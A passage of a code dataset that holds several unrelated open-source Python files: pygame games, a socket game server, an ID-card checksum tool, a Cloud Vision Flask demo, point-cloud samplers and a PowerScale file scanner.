'__main__':\n unittest.main()\n\n\n\n\n\n\n\n","repo_name":"tianmeng-wxk/pycharm","sub_path":"test_case/test_cases.py","file_name":"test_cases.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"602795569","text":"import pygame\nimport random\n\n\nclass Obstacle(pygame.sprite.Sprite):\n def __init__(self, x, y):\n obstacles_list = [\n 'building_dome',\n 'building_station_NE',\n 'building_station_SW',\n 'pipe_ramp_NE',\n 'pipe_stand_SE',\n 'rocks_NW',\n 'rocks_ore_SW',\n 'rocks_small_SE',\n 'satellite_SE',\n 'satellite_SW'\n ]\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load('resources/obstacles/' + random.choice(obstacles_list) + '.png')\n self.rect = self.image.get_rect()\n self.rect.center = (x, y)\n","repo_name":"ninrich/Mars-lander","sub_path":"obstacle.py","file_name":"obstacle.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35042341184","text":"import json\nimport socket\nfrom _thread import *\n\nfrom command import *\nfrom game import Game\n\n\ndef get_response(req, game, id):\n if req.type == CommandType.HELLO:\n hello = HelloCommand()\n hello.payload = f\"PLAYER:{id}\"\n return hello\n if game.status:\n if req.type == CommandType.STEP:\n try:\n if len(req.payload) > 0:\n json.loads(req.payload)\n game.state = req.payload\n game.next_round()\n except Exception as e:\n print(e)\n return ErrorCommand(req.payload)\n return GameStateCommand(game)\n else:\n return WaitCommand()\n\n\ndef threaded_client(conn, game, id):\n conn.send(str.encode(\"welcome\"))\n while True:\n try:\n data = conn.recv(2048).decode()\n req = Command.parse(data)\n\n if not data:\n print(\"Disconnected\")\n break\n else:\n res = get_response(req, game, id)\n\n print(\"=>\", req.print())\n print(\"<=\", res.print())\n\n conn.sendall(str.encode(res.print()))\n except error:\n print(error)\n break\n\n print(\"Lost connection\")\n conn.close()\n\n\nif __name__ == '__main__':\n\n server = \"\" # listens all interfaces\n port = 5555\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n try:\n s.bind((server, port))\n except socket.error as e:\n str(e)\n\n s.listen(2)\n print(\"Waiting for a connection, Server Started\")\n\n g = Game()\n\n while True:\n conn, addr = s.accept()\n print(\"Connected to:\", addr)\n\n if len(g.players) == 2:\n g = Game()\n\n g.add_player(start_new_thread(threaded_client, (conn, g, len(g.players),)))\n","repo_name":"sebinemeth/chesscraft-server","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33069053948","text":"# -*- coding: utf-8 -*-\n\nfrom sys import platform\nimport sys\nimport json\n\nwith open('../data.json', 'r') as json_data:\n city = json.load(json_data)\n\ndef convert_encode(string):\n\n ''' Windows 输出需转换编码\n '''\n return string if platform != \"win32\" else string.decode('utf-8').encode('gbk')\n\ndef checker(idcard):\n\n # 城市编码, 出生日期, 归属地 \n city_id = idcard[:6]\n birth = idcard[6:14]\n city_name = city[city_id]\n\n # 根据规则校验身份证是否符合规则\n idcard_tuple = [int(num) for num in list(idcard[:-1])]\n coefficient = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]\n sum_value = sum([idcard_tuple[i] * coefficient[i] for i in range(17)])\n\n remainder = sum_value % 11\n\n maptable = {0: '1', 1: '0', 2: 'x', 3: '9', 4: '8', 5: '7', 6: '6', 7: '5', 8: '4', 9: '3', 10: '2'}\n if maptable[remainder] == idcard[17]:\n print(convert_encode('<身份证合法>'))\n sex = int(idcard[16]) % 2\n sex = '男' if sex == 1 else '女'\n print(convert_encode('性别:' + sex))\n print(convert_encode('出生日期:') + birth)\n print('归属地:' + city_name)\n else :\n print(convert_encode('<身份证不合法>'))\n\n\ndef get_idcard():\n\n if len(sys.argv) != 2:\n print(\"Usage: python3 query.py [id_card]\")\n return sys.argv[1]\n\ndef main():\n\n idcard = get_idcard()\n print(idcard)\n checker(idcard)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"sincerefly/IDCardQuery","sub_path":"python3/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"62"} +{"seq_id":"32114443360","text":"import os\nimport sys\n\nfrom flask import Flask, redirect, render_template, request\n\nfrom google.cloud import firestore\nfrom google.cloud import storage\nfrom google.cloud import vision\n\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef homepage():\n # Create a Cloud Firestore client.\n firestore_client = firestore.Client()\n\n # Use the Cloud Firestore client to fetch information from Cloud Firestore about\n # each photo.\n photo_documents = list(firestore_client.collection(u'photos').get())\n\n # Return a Jinja2 HTML template.\n return render_template('homepage.html', photo_documents=photo_documents)\n\n@app.route('/upload_photo', methods=['GET', 'POST'])\ndef upload_photo():\n # Create a Cloud Storage client.\n storage_client = storage.Client()\n\n # Get the Cloud Storage bucket that the file will be uploaded to.\n bucket = storage_client.get_bucket(os.environ.get('CLOUD_STORAGE_BUCKET'))\n\n # Create a new blob and upload the file's content to Cloud Storage.\n photo = request.files['file']\n blob = bucket.blob(photo.filename)\n blob.upload_from_string(\n photo.read(), content_type=photo.content_type)\n\n # Make the blob publicly viewable.\n blob.make_public()\n image_public_url = blob.public_url\n \n # Create a Cloud Vision client.\n vision_client = vision.ImageAnnotatorClient()\n\n # Retrieve a Vision API response for the photo stored in Cloud Storage\n image = vision.types.Image()\n image.source.image_uri = 'gs://{}/{}'.format(os.environ.get('CLOUD_STORAGE_BUCKET'), blob.name)\n \n response = vision_client.annotate_image({'image': image})\n labels = response.label_annotations\n faces = response.face_annotations\n web_entities = response.web_detection.web_entities\n\n # Create a Cloud Firestore client\n firestore_client = firestore.Client()\n\n # Get a reference to the document we will upload to\n doc_ref = firestore_client.collection(u'photos').document(blob.name)\n\n # Note: If we are using Python version 2, we need to convert\n # our image URL to unicode to save it to Cloud Firestore properly.\n if sys.version_info < (3, 0):\n image_public_url = unicode(image_public_url, \"utf-8\")\n\n # Construct key/value pairs with data\n data = {\n u'image_public_url': image_public_url,\n u'top_label': labels[0].description\n }\n\n # Set the document with the data\n doc_ref.set(data)\n\n # Redirect to the home page.\n return render_template('homepage.html', labels=labels, faces=faces, web_entities=web_entities, image_public_url=image_public_url)\n\n\n@app.errorhandler(500)\ndef server_error(e):\n return \"\"\"\n An internal error occurred:
{}
\n See logs for full stacktrace.\n \"\"\".format(e), 500\n\n\nif __name__ == '__main__':\n # This is used when running locally. Gunicorn is used to run the\n # application on Google App Engine. See entrypoint in app.yaml.\n app.run(host='127.0.0.1', port=8080, debug=True)","repo_name":"GoogleCloudPlatform/hackathon-toolkit","sub_path":"vision/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","stars":429,"dataset":"github-code","pt":"82"} +{"seq_id":"70216632270","text":"import pandas as pd\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\n'''First create a dictionary in the format {run: {: ...} ...} '''\r\n\r\nruns_dict = {} # Large dictionary with format { , { : ...} ...}\r\npc = {}\r\nwith open('HMPhits_redoscan.csv', 'r') as infile:\r\n next(infile)\r\n for line in infile:\r\n line = line.strip().split(',')\r\n currun = line[0]\r\n pc['181.1'] = int(line[2])\r\n pc['198.1'] = int(line[3])\r\n pc['199.1'] = int(line[4])\r\n pc['200.1'] = int(line[5])\r\n pc['201.1'] = int(line[6])\r\n pc['202.1'] = int(line[7])\r\n pc['203.1'] = int(line[8])\r\n pc['205.1'] = int(line[9])\r\n pc['206.1'] = int(line[10])\r\n pc['207.1'] = int(line[11])\r\n pc['208.1'] = int(line[12])\r\n pc['394.1'] = int(line[13])\r\n pc['393.1'] = int(line[14])\r\n pc['392.1'] = int(line[15])\r\n pc['209.1'] = int(line[16])\r\n pc['210.1'] = int(line[17])\r\n pc['211.1'] = int(line[18])\r\n pc['212.1'] = int(line[19])\r\n runs_dict[currun] = pc\r\n pc = {}\r\n\r\n'''Next, create a pandas dataframe using the dictionary created above.\r\n Proteins should be the rows and columns and where they intersect should be CO count.'''\r\n\r\nproteins = ['181.1', '198.1', '199.1', '200.1', '201.1', '202.1', '203.1',\r\n '205.1', '206.1', '207.1', '208.1', '394.1', '393.1', '392.1', '209.1',\r\n '210.1', '211.1', '212.1']\r\ndf = pd.DataFrame(columns=proteins, index=proteins)\r\ndf[:] = int(0)\r\n\r\n'''The following code creates a list of total number of hits for each protein across all runs.'''\r\n\r\nhits = []\r\nfor protein in proteins:\r\n count = 0\r\n for value in runs_dict.values():\r\n for prot in value.keys():\r\n if prot == protein and value[prot] != 0:\r\n count += value[prot]\r\n hits.append(count)\r\n\r\n'''Adjusting total hits.'''\r\n\r\nhits = [x/5 for x in hits]\r\n\r\nfor key, value in runs_dict.items(): # Edited for weighted CO. Original in CIS/coMatrix.py\r\n present = {}\r\n for prot, count in value.items():\r\n if count != 0:\r\n present[prot] = count\r\n # print(present)\r\n for protein1 in proteins:\r\n for protein2 in proteins:\r\n if protein1 in present and protein2 in present:\r\n if present[protein1] < present[protein2]:\r\n df[protein1][protein2] += present[protein1]\r\n df[protein2][protein1] += present[protein1]\r\n else:\r\n df[protein1][protein2] += present[protein2]\r\n df[protein2][protein1] += present[protein2]\r\n\r\nedge_list = []\r\nfor index, row in df.iterrows():\r\n i = 0\r\n for col in row:\r\n weight = float(col)/500 # Change 100 to any max; line weight will be relative to this number\r\n edge_list.append((index, df.columns[i], weight))\r\n i += 1\r\n# Remove lines if there is no CO\r\nupdated_edge_list = [x for x in edge_list if not x[2] == 0.0]\r\n\r\nnode_list = []\r\nfor i in proteins:\r\n for e in updated_edge_list:\r\n if i == e[0] and i == e[1]:\r\n node_list.append(i)\r\nfor i in node_list:\r\n if i[1] == 0.0:\r\n node_list.remove(i)\r\n\r\nfor i in updated_edge_list:\r\n if i[0] == i[1]:\r\n updated_edge_list.remove(i)\r\n\r\n# Set canvas size\r\nplt.subplots(figsize=(10,10))\r\n\r\n# Networkx graph\r\nG = nx.Graph()\r\nfor i in sorted(node_list):\r\n G.add_node(i[0], size = i[1])\r\nG.remove_node('1')\r\nG.remove_node('2')\r\nG.remove_node('3')\r\nG.add_weighted_edges_from(updated_edge_list)\r\n\r\nnode_order = ['181.1', '198.1', '199.1', '200.1', '201.1', '202.1', '203.1',\r\n '205.1', '206.1', '207.1', '208.1', '394.1', '393.1', '392.1', '209.1',\r\n '210.1', '211.1', '212.1']\r\n\r\n# Reorder node list\r\nupdated_node_order = []\r\nfor i in node_order:\r\n for x in node_list:\r\n if x[0] == i:\r\n updated_node_order.append(x)\r\n\r\n# Reorder edge list\r\ntest = nx.get_edge_attributes(G, 'weight')\r\nupdated_again_edges = []\r\nfor i in nx.edges(G):\r\n for x in test.keys():\r\n if i[0] == x[0] and i[1] == x[1]:\r\n updated_again_edges.append(test[x])\r\n# print(updated_again_edges)\r\n\r\n\r\n# Drawing customization\r\nnode_scalar = 80\r\nedge_scalar = 100\r\nsizes = [x[1] for x in node_list]\r\nwidths = [x for x in updated_again_edges]\r\n\r\n# Draw the graph!!!\r\npos = nx.spring_layout(G)\r\n\r\nnx.draw(G, pos, with_labels=True, font_size=14, font_weight='bold', width = widths, node_size=hits)\r\nplt.savefig(\"COmatrix_weighted.png\")\r\nplt.show()","repo_name":"gilusoo/CIS","sub_path":"co_hmp_matrix.py","file_name":"co_hmp_matrix.py","file_ext":"py","file_size_in_byte":4593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34881345079","text":"import numpy as np\nimport random\n\nclass class_balanced_sampler(object):\n \"\"\"Random sampler for semantic segmentation datasets.\"\"\"\n\n def __init__(self, data_split): # train_split, valid_split\n self.data_split = data_split\n self.length = len(data_split)\n self.split = self.data_split.split\n\n def __len__(self):\n return self.length\n\n def initialize_with_dataset(self, dataset): # train_dataset, valid_dataset\n self.length = len(dataset)\n\n def get_cloud_sampler(self):\n def gen():\n ids = np.random.permutation(self.length)\n for i in ids:\n yield i\n return gen()\n\n def get_sampled_points(self, data, cloud_id):\n cfg = self.data_split.cfg\n num_points = cfg.get_input.parameter['num_points']\n label_to_names = self.data_split.dataset.label_to_names\n valid_labels = list(label_to_names.keys())\n center_label = np.random.choice(valid_labels,1)\n label_idxs = np.where(data['labels']==center_label)[0].tolist()\n center_idx = np.random.choice(label_idxs, 1)\n center_point = data['points'][center_idx, :].reshape(1,-1)\n if (data['points'].shape[0] < num_points):\n diff = num_points - data['points'].shape[0]\n point_inds = np.array(range(data['points'].shape[0]))\n point_inds = list(point_inds) + list(random.choices(point_inds, k=diff))\n point_inds = np.asarray(point_inds)\n else:\n point_inds = data['tree'].query(center_point, k=num_points)[1][0]\n random.shuffle(point_inds)\n\n return point_inds\n\nclass random_sampler(object):\n \"\"\"Random sampler for semantic segmentation datasets.\"\"\"\n\n def __init__(self, data_split): # train_split, valid_split\n self.data_split = data_split\n self.length = len(data_split)\n self.split = self.data_split.split\n\n def __len__(self):\n return self.length\n\n def initialize_with_dataset(self, dataset): # train_dataset, valid_dataset\n self.length = len(dataset)\n\n def get_cloud_sampler(self):\n def gen():\n ids = np.random.permutation(self.length)\n for i in ids:\n yield i\n return gen()\n\n def get_sampled_points(self, data, cloud_id):\n cfg = self.data_split.cfg\n num_points = cfg.get_input.parameter['num_points']\n center_idx = np.random.choice(data['points'].shape[0], 1)\n center_point = data['points'][center_idx, :].reshape(1,-1)\n if (data['points'].shape[0] < num_points):\n diff = num_points - data['points'].shape[0]\n point_inds = np.array(range(data['points'].shape[0]))\n point_inds = list(point_inds) + list(random.choices(point_inds, k=diff))\n point_inds = np.asarray(point_inds)\n else:\n point_inds = data['tree'].query(center_point, k=num_points)[1][0]\n random.shuffle(point_inds)\n\n return point_inds\n\nclass spatially_regular_sampler(object):\n \"\"\"Spatially regularSampler sampler for semantic segmentation datasets.\"\"\"\n\n def __init__(self, data_split):\n self.data_split = data_split\n self.length = len(data_split)\n self.split = self.data_split.split\n\n def __len__(self):\n return self.length\n\n def initialize_with_dataset(self, dataset): # train_dataset, valid_dataset, test_dataset\n self.min_possibilities = []\n self.possibilities = []\n\n self.length = len(dataset)\n data_split = self.data_split\n\n for index in range(len(data_split)):\n attr = data_split.get_attr(index)\n if dataset.cache_convert:\n data = dataset.cache_convert(attr['name'])\n elif dataset.preprocess:\n data = dataset.preprocess(data_split.get_data(index), attr)\n else:\n data = data_split.get_data(index)\n\n pc = data['points']\n self.possibilities += [np.random.rand(pc.shape[0]) * 1e-3]\n self.min_possibilities += [float(np.min(self.possibilities[-1]))]\n\n def get_cloud_sampler(self):\n\n def gen_train():\n for i in range(self.length):\n self.cloud_id = int(np.argmin(self.min_possibilities))\n yield self.cloud_id\n\n def gen_test():\n curr_could_id = 0\n while curr_could_id < self.length:\n if self.min_possibilities[curr_could_id] > 0.5:\n curr_could_id = curr_could_id + 1\n continue\n self.cloud_id = curr_could_id\n\n yield self.cloud_id\n\n if self.split in ['train', 'validation', 'valid', 'training']:\n gen = gen_train\n else:\n gen = gen_test\n return gen()\n\n def get_sampled_points(self, data, cloud_id):\n # cfg = self.data_split.cfg\n # noise_init=cfg.get_input.parameter['noise_init']\n # # cloud_id = int(np.argmin(self.min_possibilities))\n # # if self.split == 'test':\n # # cloud_id = self.cloud_id\n # point_ind = np.argmin(self.possibilities[cloud_id])\n # center_point = data['points'][point_ind, :].reshape(1,-1)\n # noise = np.random.normal(scale=noise_init / 10, size=center_point.shape)\n # center_point = center_point + noise.astype(center_point.dtype) # 论文代码加入了噪声\n\n # if 'num_points' in cfg.get_input.parameter.keys():\n # num_points = cfg.get_input.parameter['num_points']\n # if (data['points'].shape[0] < num_points): # open3d-ml中随机重复选点补充到num_point\n # diff = num_points - data['points'].shape[0]\n # point_inds = np.array(range(data['points'].shape[0]))\n # point_inds = list(point_inds) + list(random.choices(point_inds, k=diff))\n # point_inds = np.asarray(point_inds)\n # # point_inds = data['tree'].query(center_point, k=data['points'].shape[0])[1][0] # 论文只选data['points'].shape[0]个点\n # else:\n # point_inds = data['tree'].query(center_point, k=num_points)[1][0]\n\n # elif 'radius' in cfg.get_input.parameter.keys():\n # radius = cfg.get_input.parameter['radius']\n # point_inds = data['tree'].query_radius(center_point, r=radius)[0]\n \n # random.shuffle(point_inds) # 方便随机采样\n # input_points = data['points'][point_inds] \n # dists = np.sum(np.square((input_points - center_point).astype(np.float32)), axis=1)\n # delta = np.square(1 - dists / np.max(dists))\n # self.possibilities[cloud_id][point_inds] += delta\n # self.min_possibilities[cloud_id] = float(np.min(self.possibilities[cloud_id]))\n \n cfg = self.data_split.cfg\n noise_init=cfg.get_input.parameter['noise_init']\n search_tree = data['tree']\n pc = data['points']\n n = 0\n while n < 2:\n center_id = np.argmin(self.possibilities[cloud_id])\n center_point = pc[center_id, :].reshape(1, -1)\n # 论文代码加入了噪声\n noise = np.random.normal(scale=noise_init / 10, size=center_point.shape)\n center_point = center_point + noise.astype(center_point.dtype) \n if 'radius' in cfg.get_input.parameter.keys():\n radius = cfg.get_input.parameter['radius']\n point_inds = search_tree.query_radius(center_point, r=radius)[0]\n elif 'num_points' in cfg.get_input.parameter.keys():\n num_points = cfg.get_input.parameter['num_points']\n if (pc.shape[0] < num_points):\n diff = num_points - pc.shape[0]\n point_inds = np.array(range(pc.shape[0]))\n point_inds = list(point_inds) + list(random.choices(point_inds, k=diff))\n point_inds = np.asarray(point_inds)\n else:\n point_inds = search_tree.query(center_point, k=num_points)[1][0]\n n = len(point_inds)\n if n < 2:\n self.possibilities[cloud_id][center_id] += 0.001\n\n random.shuffle(point_inds)\n pc = pc[point_inds]\n dists = np.sum(np.square((pc - center_point).astype(np.float32)), axis=1)\n delta = np.square(1 - dists / np.max(dists))\n self.possibilities[cloud_id][point_inds] += delta\n new_min = float(np.min(self.possibilities[cloud_id]))\n self.min_possibilities[cloud_id] = new_min\n\n return point_inds\n","repo_name":"Nireil/PCSegmentaion","sub_path":"datasets/utils/points_sampler.py","file_name":"points_sampler.py","file_ext":"py","file_size_in_byte":8621,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"1085113134","text":"#!/usr/bin/env python\n# -*- coding: utf8 -*-\n\"\"\"\nPowerScale file scanner\n\"\"\"\n# fmt: off\n__title__ = \"ps_scan\"\n__version__ = \"0.1.0\"\n__date__ = \"12 August 2023\"\n__license__ = \"MIT\"\n__author__ = \"Andrew Chung \"\n__maintainer__ = \"Andrew Chung \"\n__email__ = \"andrew.chung@dell.com\"\n# fmt: on\nimport json\nimport logging\nimport multiprocessing as mp\nimport os\nimport platform\nimport sys\n\nimport elasticsearch_wrapper\nimport helpers.cli_parser as cli_parser\nfrom helpers.constants import *\nimport helpers.misc as misc\nimport libs.hydra as Hydra\nimport ps_scan_client as psc\nimport ps_scan_server as pss\nimport user_handlers\n\n\nDEFAULT_LOG_FORMAT = \"%(asctime)s - %(levelname)s - [%(module)s:%(lineno)d] - %(message)s\"\nLOG = logging.getLogger()\n\n\ndef main():\n # Setup command line parser and parse agruments\n (parser, options, args) = cli_parser.parse_cli(sys.argv, __version__, __date__)\n\n # Validate command line options\n cmd_line_errors = []\n if len(args) == 0 and options[\"op\"] in (OPERATION_TYPE_AUTO, OPERATION_TYPE_SERVER):\n cmd_line_errors.append(\"***** A minimum of 1 path to scan is required to be specified on the command line.\")\n if cmd_line_errors:\n parser.print_help()\n sys.stderr.write(\"\\n\" + \"\\n\".join(cmd_line_errors) + \"\\n\")\n sys.exit(1)\n\n setup_logger(options)\n\n es_credentials = {}\n if options[\"es_cred_file\"]:\n es_credentials = misc.read_es_cred_file(options[\"es_cred_file\"])\n if es_credentials is None:\n LOG.critical(\"Unable to open or read the credentials file: {file}\".format(file=filename))\n sys.exit(3)\n elif options[\"es_index\"] and options[\"es_user\"] and options[\"es_pass\"] and options[\"es_url\"]:\n es_credentials = {\n \"index\": options[\"es_index\"],\n \"password\": options[\"es_pass\"],\n \"url\": options[\"es_url\"],\n \"user\": options[\"es_user\"],\n }\n\n if options[\"type\"] == SCAN_TYPE_AUTO:\n if misc.is_onefs_os():\n options[\"type\"] = SCAN_TYPE_ONEFS\n else:\n options[\"type\"] = SCAN_TYPE_BASIC\n if options[\"type\"] == SCAN_TYPE_ONEFS:\n if not misc.is_onefs_os():\n sys.stderr.write(\n \"Script is not running on a OneFS operation system. Invalid --type option, use 'basic' instead.\\n\"\n )\n sys.exit(2)\n # Set resource limits\n old_limit, new_limit = misc.set_resource_limits(options[\"ulimit_memory\"])\n if new_limit:\n LOG.debug(\"VMEM ulimit value set to: {val}\".format(val=new_limit))\n else:\n LOG.info(\"VMEM ulimit setting failed.\")\n file_handler = user_handlers.file_handler_pscale\n else:\n file_handler = user_handlers.file_handler_basic\n LOG.debug(\"Parsed options:\\n{opt}\".format(opt=json.dumps(options, indent=2, sort_keys=True)))\n LOG.debug(\"Initial scan paths: {paths}\".format(paths=\", \".join(args)))\n\n if options[\"op\"] == OPERATION_TYPE_CLIENT:\n LOG.info(\"Starting client\")\n options[\"scanner_file_handler\"] = user_handlers.file_handler_pscale\n options[\"server_addr\"] = options[\"addr\"]\n options[\"server_port\"] = options[\"port\"]\n client = psc.PSScanClient(options)\n try:\n client.connect()\n except Exception as e:\n LOG.exception(\"Unhandled exception in client.\")\n elif options[\"op\"] in (OPERATION_TYPE_AUTO, OPERATION_TYPE_SERVER):\n ps_scan_server_options = {\n \"cli_options\": options,\n \"client_config\": {},\n \"node_list\": None,\n \"scan_path\": args,\n \"script_path\": os.path.abspath(__file__),\n \"server_addr\": options[\"addr\"],\n \"server_connect_addr\": misc.get_local_internal_addr() or DEFAULT_LOOPBACK_ADDR,\n \"server_port\": options[\"port\"],\n \"stats_handler\": user_handlers.print_statistics,\n }\n if es_credentials:\n ps_scan_server_options[\"client_config\"][\"es_credentials\"] = es_credentials\n ps_scan_server_options[\"client_config\"][\"es_send_threads\"] = options[\"es_threads\"]\n if options[\"op\"] == \"auto\":\n if options[\"type\"] == SCAN_TYPE_ONEFS:\n local_lnn = misc.get_local_node_number()\n # If there is no node list from the CLI and we are set to auto and running on OneFS, automatically set\n # the node list to the local machine and run 1 client. Otherwise parse the nodes parameter and return\n # a node list to run clients on.\n node_list = misc.parse_node_list(options[\"nodes\"], min_node_list=[local_lnn])\n # Setting the node list will cause the server to automatically launch clients\n ps_scan_server_options[\"node_list\"] = node_list\n try:\n es_client = None\n if es_credentials:\n es_client = elasticsearch_wrapper.es_create_connection(\n es_credentials[\"url\"],\n es_credentials[\"user\"],\n es_credentials[\"password\"],\n es_credentials[\"index\"],\n )\n if es_client and (options[\"es_init_index\"] or options[\"es_reset_index\"]):\n if options[\"es_reset_index\"]:\n elasticsearch_wrapper.es_delete_index(es_client)\n LOG.debug(\"Initializing indices for Elasticsearch: {index}\".format(index=es_credentials[\"index\"]))\n es_index_settings = elasticsearch_wrapper.es_create_index_settings(\n {\n \"number_of_shards\": options[\"es_shards\"],\n \"number_of_replicas\": options[\"es_replicas\"],\n }\n )\n elasticsearch_wrapper.es_init_index(es_client, es_credentials[\"index\"], es_index_settings)\n if es_client:\n elasticsearch_wrapper.es_start_processing(es_client, {})\n svr = pss.PSScanServer(ps_scan_server_options)\n svr.serve()\n if es_client:\n elasticsearch_wrapper.es_stop_processing(es_client, {})\n except Exception as e:\n LOG.exception(\"Unhandled exception in server.\")\n\n\ndef setup_logger(options):\n if options.get(\"log\"):\n base, ext = os.path.splitext(options.get(\"log\", DEFAULT_LOG_FILE_PREFIX + DEFAULT_LOG_FILE_SUFFIX))\n format_string_vars = {\n \"hostname\": platform.node(),\n \"pid\": os.getpid(),\n \"prefix\": base,\n \"suffix\": ext,\n }\n log_handler = logging.FileHandler(DEFAULT_LOG_FILE_FORMAT.format(**format_string_vars))\n else:\n log_handler = logging.StreamHandler()\n debug_count = options.get(\"debug\", 0)\n log_handler.setFormatter(logging.Formatter(DEFAULT_LOG_FORMAT))\n LOG.addHandler(log_handler)\n if debug_count:\n LOG.setLevel(logging.DEBUG)\n else:\n LOG.setLevel(logging.INFO)\n if debug_count < 3:\n # Disable loggers for hydra sub modules\n for mod_name in [\"libs.hydra\"]:\n module_logger = logging.getLogger(mod_name)\n module_logger.setLevel(logging.WARN)\n\n\nif __name__ == \"__main__\" or __file__ == None:\n # Support scripts built into executable on Windows\n try:\n mp.freeze_support()\n if hasattr(mp, \"set_start_method\"):\n # Force all OS to behave the same when spawning new process\n mp.set_start_method(\"spawn\")\n except:\n # Ignore these errors as they are either already set or do not apply to this system\n pass\n main()\n","repo_name":"murkyl/ps_scan","sub_path":"ps_scan.py","file_name":"ps_scan.py","file_ext":"py","file_size_in_byte":7677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"30483644402","text":"import pygame\r\nimport random\r\nimport math\r\nfrom pygame import mixer\r\n# initialise the module\r\npygame.init() \r\n\r\n# create a screen (width,height)\r\nscreen= pygame.display.set_mode((800,600))\r\n\r\n\r\n# bakcground\r\nbackground=pygame.image.load('images/background.png')\r\n\r\n# background sound\r\nmixer.music.load('sound/background.wav')\r\nmixer.music.play(-1) #-1 to play on loop\r\n\r\n# Title and icon\r\npygame.display.set_caption('space invaders')\r\nicon=pygame.image.load('images/spaceship.png')\r\npygame.display.set_icon(icon)\r\n\r\n# images player\r\nplayer = pygame.image.load('images/space-invaders (2).png')\r\n\r\n# to position the player in the desired location\r\nplayerX = 370\r\nplayerY = 480\r\npx_change=0\r\n\r\n# multiple enemy\r\n\r\nnum_of_enemies=4\r\nenemy=[]\r\nenemyX=[]\r\nenemyY=[]\r\nex_change=[]\r\ney_change=[]\r\n\r\nfor i in range(num_of_enemies):\r\n enemy.append(pygame.image.load('images/enemy.png'))\r\n enemyX.append(random.randint(0,735))\r\n enemyY.append(random.randint(40,140))\r\n ex_change.append(4) \r\n ey_change.append(40)\r\n\r\n# bullet\r\nbullet= pygame.image.load('images/bullet.png')\r\nbulletX = 0\r\nbulletY = 480\r\nby_change = 10\r\n# ready -you cant see the bullet\r\n# fire - it is moving\r\nb_state = 'ready'\r\n\r\n#score\r\nscore=0\r\nfont = pygame.font.Font('font/pintersan.ttf', 52)\r\n\r\ntextX = 10\r\ntextY = 10\r\n\r\n# gameover\r\nov=pygame.font.Font('font/pintersan.ttf', 100)\r\n\r\ndef gameOver():\r\n ov=font.render('Game Over',True,(0,255,0))\r\n screen.blit(ov,(400,300))\r\n\r\n\r\n\r\ndef show_score(textX,textY):\r\n sc=font.render('score : '+str(score),True,(0,255,0))\r\n screen.blit(sc,(textX,textY))\r\n\r\n\r\n\r\ndef play(x,y):\r\n # to display the player image\r\n screen.blit(player,(x,y))\r\n\r\ndef enem(x,y,i):\r\n screen.blit(enemy[i],(x,y))\r\n\r\ndef bulletFire(x,y):\r\n global b_state\r\n b_state='fire'\r\n # so that it appears on the spaceship\r\n screen.blit(bullet,(x + 16, y + 10))\r\n\r\n\r\ndef isCollision(enemyX,enemyY,bulletX,bulletY):\r\n distance=math.sqrt(math.pow(enemyX-bulletX,2)+math.pow(enemyY-bulletY,2))\r\n \r\n if distance < 27:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n \r\n\r\n\r\n# game loop\r\nrun = True\r\n\r\nwhile run:\r\n \r\n # whatever you want to have in your screen all the time\r\n screen.fill((0,0,0))\r\n screen.blit(background,(0,0))\r\n \r\n \r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n run=False \r\n\r\n # if keystrole is pressed,check whether its right or left\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_LEFT:\r\n px_change=-5\r\n if event.key == pygame.K_RIGHT:\r\n px_change=+5\r\n if event.key ==pygame.K_SPACE:\r\n if b_state is 'ready':\r\n bullet_sound=mixer.Sound('sound/laser.wav')\r\n bullet_sound.play()\r\n # get the current x-cordinate of the space ship.\r\n bulletX=playerX\r\n bulletFire(bulletX,bulletY)\r\n \r\n if event.type == pygame.KEYUP:\r\n if event.key == pygame.K_LEFT:\r\n px_change=0\r\n # if event.Key == pygame.K_RIGHT:\r\n # px_change = 0 \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n # checking for boundaries so that it stays within the screen\r\n playerX += px_change\r\n\r\n if playerX <= 0:\r\n playerX=0\r\n \r\n elif playerX >= 736:\r\n playerX = 736\r\n \r\n\r\n \r\n # enemy movement\r\n for i in range(num_of_enemies):\r\n \r\n if enemyY[i] > 440:\r\n for j in range(num_of_enemies):\r\n enemyY[i] = 2000\r\n gameOver()\r\n break\r\n\r\n enemyX[i] += ex_change[i]\r\n\r\n if enemyX[i] <= 0:\r\n ex_change[i] = 4\r\n enemyY[i]+=ey_change[i]\r\n\r\n elif enemyX[i] >= 736:\r\n ex_change[i] = -4\r\n enemyY[i]+=ey_change[i]\r\n \r\n # collision\r\n collide = isCollision(enemyX[i],enemyY[i],bulletX,bulletY)\r\n if collide:\r\n explode=mixer.Sound('sound/explosin.wav')\r\n explode.play()\r\n bulletY=480\r\n b_state='ready'\r\n score += 1\r\n \r\n enemyX[i] =random.randint(0,735)\r\n enemyY[i] = random.randint(40,140)\r\n\r\n enem(enemyX[i],enemyY[i],i)\r\n\r\n\r\n # bullet move\r\n if bulletY <=0:\r\n bulletY=480\r\n b_state='ready'\r\n if b_state is 'fire':\r\n bulletFire(bulletX,bulletY)\r\n bulletY-=by_change\r\n\r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n # calling the function\r\n 